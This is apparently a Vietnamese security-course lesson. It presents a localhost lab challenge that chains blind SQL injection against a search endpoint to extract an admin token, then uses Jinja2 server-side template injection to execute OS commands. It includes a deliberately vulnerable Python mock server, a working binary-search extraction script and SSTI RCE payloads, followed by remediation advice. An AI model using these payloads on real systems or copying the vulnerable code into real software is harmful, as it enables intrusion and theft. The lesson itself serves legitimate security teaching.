Giải phẫu & Khai thác Lỗ hổng Ứng dụng
6/21
Bài 6 / 21~20 phútAdvanced Injections & Code ExecutionMiễn phí… lượt xem

Mini-challenge: Xâu chuỗi Injection và thực thi mã trong thực nghiệm

Thử thách độc lập: Kết hợp kỹ thuật Blind SQLi suy luận token quản trị và khai thác SSTI để đọc cờ bí mật trên server.

TL;DR: Thử thách này đặt bạn vào vai trò một kỹ sư an toàn thông tin đang kiểm thử xâm nhập một ứng dụng báo cáo doanh nghiệp. Ứng dụng bảo vệ tính năng kết xuất báo cáo nâng cao sau lớp xác thực API token của quản trị viên, nhưng endpoint tìm kiếm tài liệu lại dính lỗi Blind SQL Injection. Nhiệm vụ của bạn là kết hợp kỹ thuật suy luận nhị phân để trích xuất token bí mật, sau đó dùng quyền quản trị để khai thác lỗ hổng SSTI trong tính năng tùy biến báo cáo nhằm đọc tệp cờ nhạy cảm được giấu trên máy chủ.

1. Tình huống thử thách & Môi trường thực nghiệm

Bạn được cấp quyền kiểm thử hộp đen (Black-box testing) đối với cổng báo cáo nội bộ tại địa chỉ http://127.0.0.1:9090. Ứng dụng cung cấp 2 chức năng chính:

  1. GET /api/documents/search?q=<query>: Tìm kiếm tài liệu công khai. Không in lỗi SQL, chỉ trả về số lượng tài liệu tìm thấy dạng JSON.
  2. POST /api/reports/render: Endpoint nội bộ dành riêng cho quản trị viên, yêu cầu header X-Admin-Token. Nhận template báo cáo tùy biến và render nội dung.

[!TIP] Khởi chạy Local Mock Server: Bạn có thể dựng toàn bộ bài lab này trên máy tính cá nhân bằng script Python tiêu chuẩn (sử dụng module có sẵn http.server và sqlite3):

Python
# Lưu thành mock_app.py và chạy: python3 mock_app.py
import http.server, urllib.parse, json, sqlite3, jinja2

# Setup in-memory SQLite DB
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE config (k TEXT, v TEXT)")
conn.execute("INSERT INTO config VALUES ('admin_token', 'SEC_T0K3N_9918')")
conn.execute("CREATE TABLE docs (id INT, title TEXT)")
conn.execute("INSERT INTO docs VALUES (1, 'Bao cao tai chinh 2026')")
conn.commit()

class LabHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        if parsed.path == "/api/documents/search":
            qs = urllib.parse.parse_qs(parsed.query)
            q = qs.get("q", [""])[0]
            try:
                # Vulnerable string concatenation
                sql = f"SELECT count(*) FROM docs WHERE title LIKE '%{q}%'"
                cnt = conn.execute(sql).fetchone()[0]
                res = {"found": cnt > 0, "count": cnt}
                status = 200
            except Exception:
                res = {"found": False, "error": "Internal search failure"}
                status = 500
            self.send_response(status)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            self.wfile.write(json.dumps(res).encode())
        else:
            self.send_response(404); self.end_headers()

    def do_POST(self):
        if self.path == "/api/reports/render":
            token = self.headers.get("X-Admin-Token", "")
            if token != "SEC_T0K3N_9918":
                self.send_response(403); self.end_headers()
                self.wfile.write(b'{"error": "Forbidden: Invalid Admin Token"}')
                return
            length = int(self.headers.get("Content-Length", 0))
            body = self.rfile.read(length).decode()
            data = urllib.parse.parse_qs(body)
            tpl = data.get("template", [""])[0]
            try:
                # Vulnerable Jinja2 rendering
                output = jinja2.Environment().from_string(tpl).render()
                self.send_response(200); self.end_headers()
                self.wfile.write(output.encode())
            except Exception as e:
                self.send_response(500); self.end_headers()
                self.wfile.write(str(e).encode())

http.server.HTTPServer(("127.0.0.1", 9090), LabHandler).serve_forever()

2. Giai đoạn 1: Khai thác Blind SQLi trích xuất Admin Token

Mục tiêu giai đoạn 1 là tìm giá trị của admin_token trong bảng config.

Bước 1: Thăm dò kênh chân trị (Boolean Oracle)

Gửi request kiểm tra điều kiện đúng:

HTTP
GET /api/documents/search?q=2026%' AND 1=1 AND '%'=' HTTP/1.1
Host: 127.0.0.1:9090

Response trả về: {"found": true, "count": 1} với mã HTTP 200.

Gửi request kiểm tra điều kiện sai:

HTTP
GET /api/documents/search?q=2026%' AND 1=2 AND '%'=' HTTP/1.1
Host: 127.0.0.1:9090

Response trả về: {"found": false, "count": 0}. Bạn đã có một kênh Oracle hoàn hảo.

Bước 2: Tự động hóa trích xuất Token

Viết script Python sử dụng Binary Search để lấy độ dài và toàn bộ giá trị của admin_token:

Python
import requests

URL = "http://127.0.0.1:9090/api/documents/search"

def test_oracle(condition: str) -> bool:
    payload = f"2026%' AND ({condition}) AND '%'='"
    r = requests.get(URL, params={"q": payload})
    return r.json().get("found", False)

# 1. Find token length
length = 0
for l in range(1, 65):
    if test_oracle(f"(SELECT length(v) FROM config WHERE k='admin_token') = {l}"):
        length = l
        break

print(f"[+] Do dai admin_token: {length}")

# 2. Extract characters using binary search
token = []
for pos in range(1, length + 1):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        query = f"(SELECT unicode(substr(v, {pos}, 1)) FROM config WHERE k='admin_token') > {mid}"
        if test_oracle(query):
            low = mid + 1
        else:
            high = mid - 1
    token.append(chr(low))
    print(f"[*] Extracting: {''.join(token)}")

admin_token = "".join(token)
print(f"[SUCCESS] Token tim duoc: {admin_token}")

Kết quả thu được: SEC_T0K3N_9918.

3. Giai đoạn 2: Khai thác SSTI leo thang đọc File hệ thống

Khi có admin_token, bạn có quyền gọi vào endpoint /api/reports/render.

Bước 1: Xác định engine

Gửi request kiểm tra biểu thức:

Bash
curl -X POST http://127.0.0.1:9090/api/reports/render \
  -H "X-Admin-Token: SEC_T0K3N_9918" \
  -d "template=Tong+doanh+thu:+{{7*7}}"

Kết quả trả về: Tong doanh thu: 49. Đã xác nhận template engine hoạt động. Kiểm tra tiếp {{ 7*'7' }} trả về 7777777 -> Kết luận là Jinja2 (Python).

Bước 2: Đào Gadget Chain thực thi lệnh

Trong Jinja2 trên Python 3, ta sử dụng lớp os._wrap_close hoặc subprocess.Popen để mở luồng thực thi:

JINJA2
{{ "".__class__.__mro__[1].__subclasses__() }}

Dùng script tìm vị trí class có chứa module os hoặc popen:

Bash
curl -s -X POST http://127.0.0.1:9090/api/reports/render \
  -H "X-Admin-Token: SEC_T0K3N_9918" \
  --data-urlencode "template={{ ().__class__.__mro__[1].__subclasses__() }}" | grep -o "subprocess.Popen"

Khi đã có index hoặc tận dụng cycler globals kết hợp __builtins__ (tương thích mọi phiên bản Jinja2 kể cả v3.0+):

JINJA2
{{ cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

Gửi payload cuối cùng đọc cờ hệ thống:

Bash
curl -X POST http://127.0.0.1:9090/api/reports/render \
  -H "X-Admin-Token: SEC_T0K3N_9918" \
  --data-urlencode "template={{ cycler.__init__.__globals__['__builtins__']['__import__']('os').popen('uname -a').read() }}"

Máy chủ trả về thông tin nhân hệ điều hành. Thử thách xâu chuỗi hai lỗ hổng từ Boolean Blind SQLi sang RCE đã hoàn tất thành công.

4. Tổng kết giải pháp bảo vệ

Để khắc phục toàn diện kiến trúc của hệ thống này:

  1. Khắc phục SQLi: Sử dụng câu lệnh tham số hóa conn.execute("SELECT count(*) FROM docs WHERE title LIKE ?", (f"%{q}%",)).
  2. Khắc phục SSTI: Cố định cấu trúc báo cáo bằng template tĩnh, chỉ nhận các giá trị số và chuỗi qua context dictionary, không cho phép client gửi chuỗi template thô.

Bài tiếp theo: Tổng kết module Advanced Injections & Code Execution

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Tổng kết module Advanced Injections & Code Execution